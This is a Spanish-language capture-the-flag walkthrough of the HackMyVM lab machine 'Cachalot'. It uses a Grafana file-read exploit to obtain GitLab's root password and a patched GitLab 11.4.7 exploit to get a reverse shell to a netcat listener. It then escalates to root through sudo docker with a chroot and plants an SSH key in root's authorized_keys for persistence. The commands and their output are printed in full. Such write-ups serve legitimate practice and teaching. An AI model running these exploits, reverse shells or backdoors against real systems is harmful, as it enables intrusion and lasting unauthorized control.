Cachalot - Hackmyvm

0xH3rshel · December 18, 2022

Autor: Mindsflee
Dificultad: Medio

img

Reconocimiento

Como en todas las máquinas, lo primero es hacer una enumeración:

$ sudo nmap -p- 192.168.1.80       
[..]
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp
5022/tcp open  mice
5080/tcp open  onscreen
8080/tcp open  http-proxy
9000/tcp open  cslistener
[...]

Dado que hay unos cuantos puertos disponibles, en el write-up voy “directo al grano”, citando solo lo necesario para resolver la máquina.

Puerto 9000

En este puerto se está ejecutando el contenedor docker pottava/docker-webui, el cual nos ofrece información de otros contenedores ejecutandose en el servidor.

Tras inspeccionar los contenedores disponibles, encuentro dos cositas interesantes:

En la configuración de Gitlab también podemos ver la ruta del archivo que contiene la contraseña inicial de root.

[...]
"Source": "/home/cachalot/srv/initial_root_password",
[...]

Explotación

Lo primero es leer el archivo “initial_root_password” mediante el LFI que existen en grafana. Para esto uso el script de exploitdb mencionado anteriormente.

$ python3 /usr/share/exploitdb/exploits/multiple/webapps/50581.py -H http://192.168.1.80:3000        
Read file > /srv/initial_root_password
M4st3rR00tS3cr3t0ne^1337^

Tras comprobar que puedo iniciar sesión en gitlab con esta contraseña, me descargo el exploit para la version 11.4.7 de Gitlab y prueba a ejecutarlo, pero me da un error.

$ python3 exp.py -u root -p M4st3rR00tS3cr3t0ne^1337^ -g http://192.168.1.80 -l 192.168.1.72 -P 1234
[+] authenticity_token: Na2TFnneKJXfaPXjoQqsQHlEBOmFzDTxT5Crh/61cvgKoSlH7H9BPLJMTv7H1E/Xz36zQdU7thZow0zYN7ps3Q==
[+] Creating project with random name: project3816
Traceback (most recent call last):
  File "/home/kali/Desktop/exp.py", line 69, in <module>
    'input', {'name': 'project[namespace_id]'}).get('value')
AttributeError: 'NoneType' object has no attribute 'get'

No tengo apenas experiencia con bs4 así que me pongo a debuggear. El problema está en la función “find” que no encuentra nada, por lo que el “get” tira un error. Para arreglarlo, utilizo “findAll” para asegurar unos cuantos resultados. Despues itero a traves de ellos y pruebo con el primero que tenga un formato “adecuado”, en este caso con una longitud de 88 caracteres.

[...]
test = soup.findAll('input')
for i in test:
    var = i.get('value')
    if var is not None:
        if len(var) == 88:
            namespace_id = i.get('value')

#namespace_id = soup.find(
#    'input', {'name': 'project[namespace_id]'}).get('value')
[...]

Ahora todo lo que hay que hacer es:

  • Crear un listener con netcat en el puerto que utilizaremos en el exploit.
  • Iniciar sesión en Gitlab para comprobar que se crea un proyecto nuevo.
  • Ejecutar varias veces el exploit modificado hasta conseguir una shell.
$ python3 last.py -u root -p M4st3rR00tS3cr3t0ne^1337^ -g http://192.168.1.80 -l 192.168.1.72 -P 1234
[+] authenticity_token: mvis41HHpsb9b+BUOtzmovUKzBLdUkDQvpmA2P+L7+TMfmSuaAiFX4N0AY9hnIr3KPspjEwmlwYoN3yPGXrr0A==
[+] Creating project with random name: project6589
[...]
Create project
[+] Running Exploit
[+] Exploit completed successfully!

Y con esto ya estoy dentro del servidor!!

$ nc -lvnp 1234
    listening on [any] 1234 ...
    connect to [192.168.1.72] from (UNKNOWN) [192.168.1.80] 56068
    git@gitlab:~/gitlab-rails/working$ whoami
    git

Escalado de privilegios

Ejecutando “sudo -l” veo que el usuario “git” tiene permiso para ejecutar “docker” como root sin contraseña. Conociendo esto, el escalado de privilegios es rápido.

git@gitlab:~/gitlab-rails/working$ sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
# ls -la /root
ls -la /root
total 20
drwx------  2 root root 4096 Oct  9 17:02 .
drwxr-xr-x 18 root root 4096 May 21  2022 ..
lrwxrwxrwx  1 root root    9 Oct  9 16:49 .bash_history -> /dev/null
-rw-r--r--  1 root root  571 Apr 10  2021 .bashrc
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
-rw-------  1 root root   33 Oct  9 17:02 proof.txt
#

Con esta terminal ya podemos leer y modificar todos los ficheros del disco de la máquina. Garantizar el acceso ahora es tan sencillo como añadir una clave pública al directorio .ssh de root.

# echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCZPIhDIl0Nn0bLdVKyWRlzXQfd9JOIBJgTo1kqcfNkCyYWekuz73yvI448MpVcXfOhHnHGYu682iWwM9BsMeB4NI8bk7RbzWAoNQQINmMzvo6UNlsRfmUcxkUo5Sp3sGKypWXzk6FZC+tC1db6PjWH+c2SpNdzzxAPyqRtwOj0vY+a4K1jMUxY7y3JHqq5yuS5xar4rYucRE5M4Fgca1gu0kZBidLi94YlDGDFGEoQVDiiKFai+z8zgPQoMhKEEvp0xkUHnt34WnMNEkDK6aBD/TpQoYtNcQpB35QNMxjcOGdIF0JGPadEO9OTN3iujtUBhBTU04WnCYEDbEbDBjZneZFWZvJySJQoG/KyFcrcQ8eIoxuWxvrx4YuO54oYJqxUz6J5kTonqaZ6Qe73AWHTHCjD7x4YZyPc9m+v67aNdtfOpNfpIW2teFW39k1qHezDuUhKYLVlx/dxpyPleJaVmrqw/7inCb7XlkpJgb/k8mPa7wn6OBDVkfHVsh0ftxs= kali@kali" > /root/.ssh/authorized_keys
$ ssh root@192.168.1.80 -i test  
[...]
root@cachalot:~# id; hostname;
uid=0(root) gid=0(root) groups=0(root)
cachalot
root@cachalot:~# :)

Muchas gracias a Mindsflee por esta máquina.

Twitter, Facebook